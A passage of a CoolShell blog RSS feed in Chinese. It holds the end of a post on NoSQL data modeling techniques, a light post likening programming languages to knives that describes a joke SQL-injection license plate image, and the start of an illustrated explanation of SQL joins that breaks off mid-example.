<p><strong><strong>适用性</strong>:</strong> Ordered Key-Value Store 排序键值对数据库， BigTable风格的数据库。</p>
<p><strong><br />
</strong></p>
<h5>(10) 反转搜索 Inverted Search – 直接聚合 Direct Aggregation</h5>
<p>这个技术更多的是数据处理技术，而不是数据建模技术。尽管如此，这个技术还是会影响数据模型。这个技术最主要的想法是使用一个索引来找到满足某条件的数据，但是把数据聚合起需要使用全文搜索。还是让我们来说一个示例。还是用上面那个例子，我们有很多的日志，其中包括互联网用户和他们的访问来源。让我们假定每条记录都有一个UserID，还有用户的种类 (Men, Women, Bloggers, 等)，以及用户所在的城市，和访问过的站点。我们要干的事是，为每个用户种类找到满足某些条件（访问源，所在城市，等）的的独立用户。</p>
<p>很明显，我们需要搜索那些满足条件的用户，如果我们使用反转搜索，这会让我们把这事干得很容易，如： <em>{Category -&gt; [user IDs]}</em> 或 <em>{Site -&gt; [user IDs]}</em>。使用这样的索引， 我们可以取两个或多个UserID要的交集或并集（这个事很容易干，而且可以干得很快，如果这些UserID是排好序的）。但是，我们要按用户种类来生成报表会变得有点麻烦，因为我们用语句可能会像下面这样</p>
<p><code data-enlighter-language="sql" class="EnlighterJSRAW">SELECT count(distinct(user_id)) ... GROUP BY category</code></p>
<p>但这样的SQL很没有效率，因为category数据太多了。为了应对这个问题，我们可以建立一个直接索引 <em>{UserID -&gt; [Categories]}</em> 然后我们用它来生成报表：</p>
<div id="attachment_388">
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/05/invert-direct1.png"><img decoding="async" loading="lazy" title="invert-direct" src="https://coolshell.cn/wp-content/uploads/2012/05/invert-direct1.png?w=594&amp;h=438" alt="" width="594" height="438" /><br />
</a>Counting Unique Users using Inverse and Direct Indexes</p>
</div>
<p>最后，我们需要明白，对每个UserID的随机查询是很没有效率的。我们可以通过批查询处理来解决这个问题。这意味着，对于一些用户集，我们可以进行预处理（不同的查询条件）。</p>
<p><strong>适用性</strong>: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>
<h4>层级式模型 Hierarchy Modeling Techniques</h4>
<h5>(11) 树形聚合Tree Aggregation</h5>
<p>树形或是任意的图（需反规格化）可以被直接打成一条记录或文档存放。</p>
<ul>
<li>当树形结构被一次性取出时这会非常有效率（如：我们需要展示一个blog的树形评论）</li>
<li>搜索和任何存取这个实体都会存在问题。</li>
<li>对于大多数NoSQL的实现来说，更新数据都是很不经济的（相比起独立结点来说）</li>
</ul>
<div id="attachment_381">
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/05/tree-aggregation.png"><img decoding="async" title="tree-aggregation" src="https://coolshell.cn/wp-content/uploads/2012/05/tree-aggregation.png?w=594" alt="" /><br />
</a>Tree Aggregation</p>
</div>
<p><strong>适用性</strong>: Key-Value 键值对数据库, Document Databases 文档数据库</p>
<h5>(12) 邻接列表 Adjacency Lists</h5>
<p>Adjacency Lists 邻接列表是一种图 &#8211; 每一个结点都是一个独立的记录，其包含了 所有的父结点或子结点。这样，我们就可以通过给定的父或子结点来进行搜索。当然，我们需要通过hop查询遍历图。这个技术在广度和深度查询，以及得到某个结点的子树上没有效率。</p>
<p><strong>适用性</strong>: Key-Value 键值对数据库, Document Databases 文档数据库</p>
<p><strong><br />
</strong></p>
<h5>(13) Materialized Paths</h5>
<p>Materialized Paths 可以帮助避免递归遍历（如：树形结构）。这个技术也可以被认为是反规格化的一种变种。其想法是为每个结点加上父结点或子结点的标识属性，这样就可以不需要遍历就知道所有的后裔结点和祖先结点了：</p>
<div id="attachment_372">
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/05/materialized-paths2.png"><img decoding="async" title="materialized-paths" src="https://coolshell.cn/wp-content/uploads/2012/05/materialized-paths2.png?w=594" alt="" /><br />
</a>Materialized Paths for eShop Category Hierarchy</p>
</div>
<p>这个技术对于全文搜索引擎来说非常有帮助，因为其可以允许把一个层级结构转成一个文档。上面的示图中我们可以看到所有的商品或<em>Men’s Shoes</em>下的子分类可以被一条很短的查询语句处理——只需要给定个分类名。</p>
<p>Materialized Paths 可以存储一个ID的集合，或是一堆ID拼出的字符串。后者允许你通过一个正则表达式来搜索一个特定的分支路径。下图展示了这个技术（分支的路径包括了结点本身）：</p>
<div id="attachment_377">
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/05/materialized-paths-2.png"><img decoding="async" title="materialized-paths-2" src="https://coolshell.cn/wp-content/uploads/2012/05/materialized-paths-2.png?w=594" alt="" /><br />
</a>Query Materialized Paths using RegExp</p>
</div>
<p><strong>适用性</strong>: Key-Value 键值对数据库, Document Databases 文档数据, Search Engines 搜索引擎</p>
<h5>(14) 嵌套集 Nested Sets</h5>
<p><a href="http://en.wikipedia.org/wiki/Nested_set_model">Nested sets</a> 嵌套集是树形结构的标准技术。它被广泛地用在了关系性数据库中，它完全地适用于 Key-Value 键值对数据库 和 Document Databases 文档数据库。这个技术的想法是把叶子结点存储成一个数组，并通过使用索引的开始和结束来映射每一个非叶子结点到一个叶子结点集，就如下图所示一样：</p>
<div id="attachment_360">
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/05/nested-sets.png"><img decoding="async" title="nested-sets" src="https://coolshell.cn/wp-content/uploads/2012/05/nested-sets.png?w=594" alt="" /><br />
</a>Modeling of eCommerce Catalog using Nested Sets</p>
</div>
<p>这样的数据结构对于immutable data不变的数据 有非常不错的效率，因为其点内存空间小，并且可以很快地找出所有的叶子结点而不需要树的遍历。尽管如此，在插入和更新上需要很高的性能成本，因为新的叶子结点需要大规模地更新索引。</p>
<p><strong>适用性</strong>: Key-Value Stores 键值数据库, Document Databases 文档数据库</p>
<h4>(15) 嵌套文档扁平化：有限的字段名 Nested Documents Flattening: Numbered Field Names</h4>
<p>搜索引擎基本上来说和扁平文档一同工作，如：每一个文档是一个扁平的字段和值的例表。这种数据模型的用来把业务实体映射到一个文本文档上，如果你的业务实体有很复杂的内部结构，这可能会变得很有挑战。一个典型的挑战是把一个有层级的文档映映射出来。例如，文档中嵌套另一个文档。让我们看看下面的示例：</p>
<div id="attachment_363">
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-1.png"><img decoding="async" title="nested-documents-1" src="https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-1.png?w=594" alt="" /><br />
</a>Nested Documents Problem</p>
</div>
<p>上面的每一个业务实体代码一种简历。其包括了人名和一个技能列表。我把这个层级文档映射成一个文本文档，一种方法是创建 <em>Skill</em> 和 <em>Level</em> 字段。这个模型可以通过技术或是等级来搜索一个人，而上图标注的那样的组合查询则会失败。（陈皓注：因为分不清Excellent是否是Math还是Poetry上的）</p>
<p>在引用中的 [4.6] 给出了一种解决方案。其为每个字段都标上数字 <em>Skill_i</em> 和 <em>Level_i</em>，这样就可以分开搜索每一个对（下图中使用了OR来遍历查找所有可能的字段）:</p>
<div id="attachment_365">
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-3.png"><img decoding="async" title="nested-documents-3" src="https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-3.png?w=594" alt="" /><br />
</a>Nested Document Modeling using Numbered Field Names</p>
</div>
<p>这样的方式根本没有扩展性，对于一些复杂的问题来说只会让代码复杂度和维护工作变大。</p>
<p><strong>适用性</strong>: Search Engines 全文搜索</p>
<h5>(16)嵌套文档扁平化：邻近查询 Nested Documents Flattening: Proximity Queries</h5>
<p>在附录 [4.6]中给出了这个技术用来解决扁平层次文档。它用邻近的查询来限制可被查询的单词的范围。下图中，所有的技能和等级被放在一个字段中，叫 SkillAndLevel，查询中出现的 “Excellent” 和 “Poetry” 必需一个紧跟另一个：</p>
<div id="attachment_364">
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-2.png"><img decoding="async" title="nested-documents-2" src="https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-2.png?w=594" alt="" /><br />
</a>Nested Document Modeling using Proximity Queries</p>
</div>
<p>附录 [4.3] 中讲述了这个技术被用在Solr中的一个成功案例。</p>
<p><strong>适用性</strong>: Search Engines 全文搜索</p>
<h5>(17) 图结构批处理 Batch Graph Processing</h5>
<p>Graph databases 图数据库，如 neo4j 是一个出众的图数据库，尤其是使用一个结点来探索邻居结点，或是探索两个或少量结点前的关系。但是处理大量的图数据是很没有效率的，因为图数据库的性能和扩展性并不是其目的。分布式的图数据处理可以被 MapReduce 和 Message Passing pattern 来处理。如： <a title="MapReduce Patterns, Algorithms, and Use Cases" href="http://highlyscalable.wordpress.com/2012/02/01/mapreduce-patterns/">在我前一篇的文章中的那个示例</a>。这个方法可以让 Key-Value stores, Document databases, 和 BigTable-style databases 适合于处理大图。</p>
<p><strong>Applicability</strong>: Key-Value Stores, Document Databases, BigTable-style Databases</p>
<h4>参考</h4>
<p>Finally, I provide a list of useful links related to NoSQL data modeling:</p>
<ol>
<li>Key-Value Stores:
<ol>
<li><a href="http://www.devshed.com/c/a/MySQL/Database-Design-Using-KeyValue-Tables/">http://www.devshed.com/c/a/MySQL/Database-Design-Using-KeyValue-Tables/</a></li>
<li><a href="http://antirez.com/post/Sorting-in-key-value-data-model.html">http://antirez.com/post/Sorting-in-key-value-data-model.htm</a>l</li>
<li><a href="http://stackoverflow.com/questions/3554169/difference-between-document-based-and-key-value-based-databases">http://stackoverflow.com/questions/3554169/difference-between-document-based-and-key-value-based-databases</a></li>
<li><a href="http://dbmsmusings.blogspot.com/2010/03/distinguishing-two-major-types-of_29.html">http://dbmsmusings.blogspot.com/2010/03/distinguishing-two-major-types-of_29.html</a></li>
</ol>
</li>
<li>BigTable-style Databases:
<ol>
<li><a href="http://www.slideshare.net/ebenhewitt/cassandra-datamodel-4985524">http://www.slideshare.net/ebenhewitt/cassandra-datamodel-4985524</a></li>
<li><a href="http://www.slideshare.net/mattdennis/cassandra-data-modeling">http://www.slideshare.net/mattdennis/cassandra-data-modeling</a></li>
<li><a href="http://nosql.mypopescu.com/post/17419074362/cassandra-data-modeling-examples-with-matthew-f-dennis">http://nosql.mypopescu.com/post/17419074362/cassandra-data-modeling-examples-with-matthew-f-dennis</a></li>
<li><a href="http://s-expressions.com/2009/03/08/hbase-on-designing-schemas-for-column-oriented-data-stores/">http://s-expressions.com/2009/03/08/hbase-on-designing-schemas-for-column-oriented-data-stores/</a></li>
<li><a href="http://jimbojw.com/wiki/index.php?title=Understanding_Hbase_and_BigTable">http://jimbojw.com/wiki/index.php?title=Understanding_Hbase_and_BigTable</a></li>
</ol>
</li>
<li>Document Databases:
<ol>
<li><a href="http://www.slideshare.net/mongodb/mongodb-schema-design-richard-kreuters-mongo-berlin-preso">http://www.slideshare.net/mongodb/mongodb-schema-design-richard-kreuters-mongo-berlin-preso</a></li>
<li><a href="http://www.michaelhamrah.com/blog/2011/08/data-modeling-at-scale-mongodb-mongoid-callbacks-and-denormalizing-data-for-efficiency/">http://www.michaelhamrah.com/blog/2011/08/data-modeling-at-scale-mongodb-mongoid-callbacks-and-denormalizing-data-for-efficiency/</a></li>
<li><a href="http://seancribbs.com/tech/2009/09/28/modeling-a-tree-in-a-document-database/">http://seancribbs.com/tech/2009/09/28/modeling-a-tree-in-a-document-database/</a></li>
<li><a href="http://www.mongodb.org/display/DOCS/Schema+Design">http://www.mongodb.org/display/DOCS/Schema+Design</a></li>
<li><a href="http://www.mongodb.org/display/DOCS/Trees+in+MongoDB">http://www.mongodb.org/display/DOCS/Trees+in+MongoDB</a></li>
<li><a href="http://blog.fiesta.cc/post/11319522700/walkthrough-mongodb-data-modeling">http://blog.fiesta.cc/post/11319522700/walkthrough-mongodb-data-modeling</a></li>
</ol>
</li>
<li>Full Text Search Engines:
<ol>
<li><a href="http://www.searchworkings.org/blog/-/blogs/query-time-joining-in-lucene">http://www.searchworkings.org/blog/-/blogs/query-time-joining-in-lucene</a></li>
<li><a href="http://www.lucidimagination.com/devzone/technical-articles/solr-and-rdbms-basics-designing-your-application-best-both">http://www.lucidimagination.com/devzone/technical-articles/solr-and-rdbms-basics-designing-your-application-best-both</a></li>
<li><a href="http://blog.griddynamics.com/2011/07/solr-experience-search-parent-child.html">http://blog.griddynamics.com/2011/07/solr-experience-search-parent-child.html</a></li>
<li><a href="http://www.lucidimagination.com/blog/2009/07/18/the-spanquery/">http://www.lucidimagination.com/blog/2009/07/18/the-spanquery/</a></li>
<li><a href="http://blog.mgm-tp.com/2011/03/non-standard-ways-of-using-lucene/">http://blog.mgm-tp.com/2011/03/non-standard-ways-of-using-lucene/</a></li>
<li><a href="http://www.slideshare.net/MarkHarwood/proposal-for-nested-document-support-in-lucene">http://www.slideshare.net/MarkHarwood/proposal-for-nested-document-support-in-lucene</a></li>
<li><a href="http://mysolr.com/tips/denormalized-data-structure/">http://mysolr.com/tips/denormalized-data-structure/</a></li>
<li><a href="http://sujitpal.blogspot.com/2010/10/denormalizing-maps-with-lucene-payloads.html">http://sujitpal.blogspot.com/2010/10/denormalizing-maps-with-lucene-payloads.html</a></li>
<li><a href="http://java.dzone.com/articles/hibernate-search-mapping-entit">http://java.dzone.com/articles/hibernate-search-mapping-entit</a></li>
</ol>
</li>
<li>Graph Databases:
<ol>
<li><a href="http://docs.neo4j.org/chunked/stable/tutorial-comparing-models.html">http://docs.neo4j.org/chunked/stable/tutorial-comparing-models.html</a></li>
<li><a href="http://blog.neo4j.org/2010/03/modeling-categories-in-graph-database.html">http://blog.neo4j.org/2010/03/modeling-categories-in-graph-database.html</a></li>
<li><a href="http://skillsmatter.com/podcast/nosql/graph-modelling">http://skillsmatter.com/podcast/nosql/graph-modelling</a></li>
<li><a href="http://www.umiacs.umd.edu/%7Ejimmylin/publications/Lin_Schatz_MLG2010.pdf">http://www.umiacs.umd.edu/~jimmylin/publications/Lin_Schatz_MLG2010.pdf</a></li>
</ol>
</li>
<li>Demensionality Reduction:
<ol>
<li><a href="http://www.slideshare.net/mmalone/scaling-gis-data-in-nonrelational-data-stores">http://www.slideshare.net/mmalone/scaling-gis-data-in-nonrelational-data-stores</a></li>
<li><a href="http://blog.notdot.net/2009/11/Damn-Cool-Algorithms-Spatial-indexing-with-Quadtrees-and-Hilbert-Curves">http://blog.notdot.net/2009/11/Damn-Cool-Algorithms-Spatial-indexing-with-Quadtrees-and-Hilbert-Curves</a></li>
<li><a href="http://www.trisis.co.uk/blog/?p=1287">http://www.trisis.co.uk/blog/?p=1287</a></li>
</ol>
</li>
</ol>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/1889.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2009/12/sql.where_.clause-150x150.jpg" alt="SQL的Where语句" width="150" height="150" /></a><a href="https://coolshell.cn/articles/1889.html" class="wp_rp_title">SQL的Where语句</a></li><li ><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg" alt="性能调优攻略" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_title">性能调优攻略</a></li><li ><a href="https://coolshell.cn/articles/6639.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg" alt="千万别惹程序员 " width="150" height="150" /></a><a href="https://coolshell.cn/articles/6639.html" class="wp_rp_title">千万别惹程序员 </a></li><li ><a href="https://coolshell.cn/articles/5826.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg" alt="千万别用MongoDB？真的吗？！" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5826.html" class="wp_rp_title">千万别用MongoDB？真的吗？！</a></li><li ><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg" alt="开源中最好的Web开发的资源" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_title">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/7270.html">NoSQL 数据建模技术</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/7270.html/feed</wfw:commentRss>
			<slash:comments>52</slash:comments>
		
		
			</item>
		<item>
		<title>千万别惹程序员</title>
		<link>https://coolshell.cn/articles/6639.html</link>
					<comments>https://coolshell.cn/articles/6639.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Mon, 20 Feb 2012 23:54:57 +0000</pubDate>
				<category><![CDATA[编程语言]]></category>
		<category><![CDATA[轶事趣闻]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Programmer]]></category>
		<category><![CDATA[programming language]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[程序员]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=6639</guid>

					<description><![CDATA[<p>酷壳好久没有发娱乐性质的技术文章了，搞得气氛有点严肃了，考虑到程序员们都是比较严肃和容易较真的类书呆子的群体，所以，需要更新一个有娱乐性质的文章了。正好最近看到...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/6639.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/6639.html">千万别惹程序员</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>酷壳好久没有发娱乐性质的技术文章了，搞得气氛有点严肃了，考虑到程序员们都是比较严肃和容易较真的类书呆子的群体，所以，需要更新一个有娱乐性质的文章了。正好最近看到了两个比较有趣的图，在新浪微博上都得到了比较不错的反响，因此，更新到酷壳上来。</p>
<h4>如果编程语言是一种刀</h4>
<p>下面这个图是把编程语言看做是一种刀，那么会是什么样的。这个图我个人感觉很有意思。</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-6642" title="programming language" src="https://coolshell.cn/wp-content/uploads/2012/02/programming-language.jpg" alt="" width="400" height="450" srcset="https://coolshell.cn/wp-content/uploads/2012/02/programming-language.jpg 400w, https://coolshell.cn/wp-content/uploads/2012/02/programming-language-267x300.jpg 267w, https://coolshell.cn/wp-content/uploads/2012/02/programming-language-240x270.jpg 240w" sizes="(max-width: 400px) 100vw, 400px" /></p>
<p>对于这个图，最好不要解释，意会就好。不过，我却有点想不解风情，忍不住想解释一下。</p>
<p><span id="more-6639"></span></p>
<ul>
<li>C++，C，Pascal 都是瑞士军刀，说明是用来做细活的工具。C语言的刀上有个USB，说明是可以做硬件操作的。C++的刀是什么都有，说明C++是一种功能繁多的语言。（图中C++的那把瑞士军刀很强大，不要以为其是虚构的，这把刀是真实存在的，叫Wenger巨人刀，<a href="http://www.wenger.ch/giant-knife-wenger-swiss-army-knife" target="_blank">http://www.wenger.ch/giant-knife-wenger-swiss-army-knife</a> (这个网页上有个Youtube视频，可以爬墙去看)，<a href="http://s.taobao.com/search?q=giant-knife-wenger-swiss-army-knife&amp;keyword=&amp;commend=all&amp;ssid=s5-e&amp;search_type=item&amp;atype=&amp;tracelog=&amp;sourceId=tb.index&amp;initiative_id=tbindexz_20120220" target="_blank">淘宝上有卖的</a>，价格在1万4左右。）</li>
<li>Java/C#是一把塑料餐刀，这说明，Java和C#语言是带虚拟机的，而且其语法和使用并不像C++那么复杂，其泛型编程可以有很多种玩法，而Java和C#的泛型编程是比较单一的。</li>
<li>Python是把电锯，人挡杀人，佛招杀佛，威力很大，面对大型的物体的修整，比C++/C/Java什么的得心应手得多得多，但是对于一些精细的调优工作，明显不行。这和Ruby很像。</li>
<li>PHP没有MySQL，明显是被幽默了一把。不过最近对PHP的批评越来越多，不过，facebook的PHP的引擎HiPo已经很牛B了。</li>
<li>Perl是一本日本武士刀，是忍者玩的语言。</li>
<li>VB，就是一个玩具。你见过用塑料玩具勺当刀的吗？Haskell感觉是外星来的。呵呵</li>
</ul>
<h4>千万别惹程序员</h4>
<p>下图一张昨天我公司内部被传递的图片。经典的SQL注入式攻击。千万别惹程序员</p>
<p><img decoding="async" loading="lazy" class="aligncenter" title="SQL-injection-attack(adjusted)" src="https://coolshell.cn/wp-content/uploads/2012/02/SQL-injection-attackadjusted.jpg" alt="" width="600" height="407" /></p>
<p>这是一个有技术含量的号牌遮挡。我们先不说其是不是能奏效，不过，这个创意相当的NB啊。当你驾车通过某些路口时，被摄像头捕捉到你的车牌，通过OCR变成文本，然后插入数据库，于是，上图的这个车牌就成了SQL注入。（不要以为车牌的OCR技术还不行，这项目技术已经非常成熟了，无论是国内还是国外）。这张图片就如同“<a title="Web开发中需要了解的东西" href="https://coolshell.cn/articles/6043.html" target="_blank">Web开发中应该知道的事</a>”中说的一样——永远不要相信用户的输入。</p>
<p><strong>插曲</strong>：我昨天把这张图片<a href="http://weibo.com/1401880315/y6kIAj1oN" target="_blank">放到微博</a>，结果，<strong>被转了几万次，上了热门转发的top list和一些社会热点和明星八卦排在了一起</strong>。主要是被“<em>@微博搞笑排行榜:  @全球潮流趣闻:  @实用小百科: @经典英文语录:  @当时我就泪奔了: @老榕: @全球经典音乐: @环球汽车搜罗: @怪诞心理行为学: @精彩电影: @互联网的那点事: @潮混搭:  @热门微博: @SinaAppEngine:</em> ” 还有些什么体育记者，法律记者都转了， 这些转发了。这多少让我觉得有些诧异，这是很技术的一件事啊，怎么连什么电影，英文对白，汽车，音乐什么的都转了？我是相当的费解啊，我只能有两个认为——</p>
<ol>
<li>简单的认为关心技术的人还是很多的。</li>
<li>复杂地认为国人是喜欢起哄的，不问为什么。</li>
</ol>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/1992.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg" alt="程序员眼中的编程语言" width="150" height="150" /></a><a href="https://coolshell.cn/articles/1992.html" class="wp_rp_title">程序员眼中的编程语言</a></li><li ><a href="https://coolshell.cn/articles/22298.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png" alt="聊聊团队协同和协同工具" width="150" height="150" /></a><a href="https://coolshell.cn/articles/22298.html" class="wp_rp_title">聊聊团队协同和协同工具</a></li><li ><a href="https://coolshell.cn/articles/22173.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png" alt="“一把梭：REST API 全用 POST”" width="150" height="150" /></a><a href="https://coolshell.cn/articles/22173.html" class="wp_rp_title">“一把梭：REST API 全用 POST”</a></li><li ><a href="https://coolshell.cn/articles/22157.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg" alt="谈谈公司对员工的监控" width="150" height="150" /></a><a href="https://coolshell.cn/articles/22157.html" class="wp_rp_title">谈谈公司对员工的监控</a></li><li ><a href="https://coolshell.cn/articles/21589.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg" alt="如何做一个有质量的技术分享" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21589.html" class="wp_rp_title">如何做一个有质量的技术分享</a></li><li ><a href="https://coolshell.cn/articles/20977.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png" alt="程序员如何把控自己的职业" width="150" height="150" /></a><a href="https://coolshell.cn/articles/20977.html" class="wp_rp_title">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/6639.html">千万别惹程序员</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/6639.html/feed</wfw:commentRss>
			<slash:comments>95</slash:comments>
		
		
			</item>
		<item>
		<title>图解SQL的Join</title>
		<link>https://coolshell.cn/articles/3463.html</link>
					<comments>https://coolshell.cn/articles/3463.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Tue, 11 Jan 2011 00:44:09 +0000</pubDate>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[Join]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Venn diagrams]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=3463</guid>

					<description><![CDATA[<p>对于SQL的Join，在学习起来可能是比较乱的。我们知道，SQL的Join语法有很多inner的，有outer的，有left的，有时候，对于Select出来的结...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/3463.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/3463.html">图解SQL的Join</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>对于SQL的Join，在学习起来可能是比较乱的。我们知道，<a href="http://en.wikipedia.org/wiki/Join_(SQL)" target="_blank">SQL的Join语法</a>有很多inner的，有outer的，有left的，有时候，对于Select出来的结果集是什么样子有点不是很清楚。Coding Horror上有<a href="http://www.codinghorror.com/blog/2007/10/a-visual-explanation-of-sql-joins.html" target="_blank">一篇文章</a>（实在不清楚为什么Coding Horror也被墙）通过 文氏图 <a href="http://en.wikipedia.org/wiki/Venn_diagram" target="_blank">Venn diagrams</a> 解释了SQL的Join。我觉得清楚易懂，转过来。</p>
<p>假设我们有两张表。</p>
<ul>
<li><strong>Table A</strong> 是左边的表。</li>
<li><strong>Table B</strong> 是右边的表。</li>
</ul>
<p>其各有四条记录，其中有两条记录是相同的，如下所示：</p>
<pre>id name       id  name
-- ----       --  ----
1  <span style="color: red;">Pirate</span>     1   Rutabaga
2  Monkey     2   <span style="color: red;">Pirate</span>
3  <span style="color: red;">Ninja</span>      3   Darth Vader
4  Spaghetti  4   <span style="color: red;">Ninja</span></pre>
<p>下面让我们来看看不同的Join会产生什么样的结果。</p>
<p><span id="more-3463"></span></p>
<table>
<tbody>
<tr>
<td>
<pre>SELECT * FROM TableA
<strong>INNER JOIN</strong> TableB
ON TableA.name = TableB.name

id  name       id   name
--  ----       --   ----
1   Pirate     2    Pirate
3   Ninja      4    Ninja</pre>
<p><strong>Inner join</strong><br />
产生的结果集中，是A和B的交集。</td>
<td><img decoding="async" style="border: 0px initial initial;" alt="Venn diagram of SQL inner join" src="https://coolshell.cn/wp-content/uploads/2011/01/Inner_Join.png" border="0" /></td>
</tr>
<tr>
<td>
<pre>SELECT * FROM TableA
<strong>FULL OUTER JOIN</strong> TableB
ON TableA.name = TableB.name

id    name       id    name
--    ----       --    ----
1     Pirate     2     Pirate
2     Monkey     <span style="color: gray;">null</span>  <span style="color: gray;">null</span>
3     Ninja      4     Ninja
4     Spaghetti  <span style="color: gray;">null</span>  <span style="color: gray;">null</span>
<span style="color: gray;">null</span>  <span style="color: gray;">null</span>       1     Rutabaga
<span style="color: gray;">null</span>  <span style="color: gray;">null</span>       3     Darth Vader</pre>
<p><strong>Full outer join</strong> 产生A和B的并集。但是需要注意的是，对于没有匹配的记录，则会以null做为值。</td>
<td><img decoding="async" loading="lazy" style="border: 0px initial initial;" alt="Venn diagram of SQL cartesian join" src="https://coolshell.cn/wp-content/uploads/2011/01/Full_Outer_Join.png" width="300" height="197" border="0" /></td>
</tr>
<tr>
<td>
<pre>SELECT * FROM TableA
<strong>LEFT OUTER JOIN</strong> TableB
ON TableA.name = TableB.name

id  name       id    name
--  ----       --    ----
1   Pirate     2     Pirate
2   Monkey     <span style="color: gray;">null</span>  <span style="color: gray;">null</span>
3   Ninja      4     Ninja
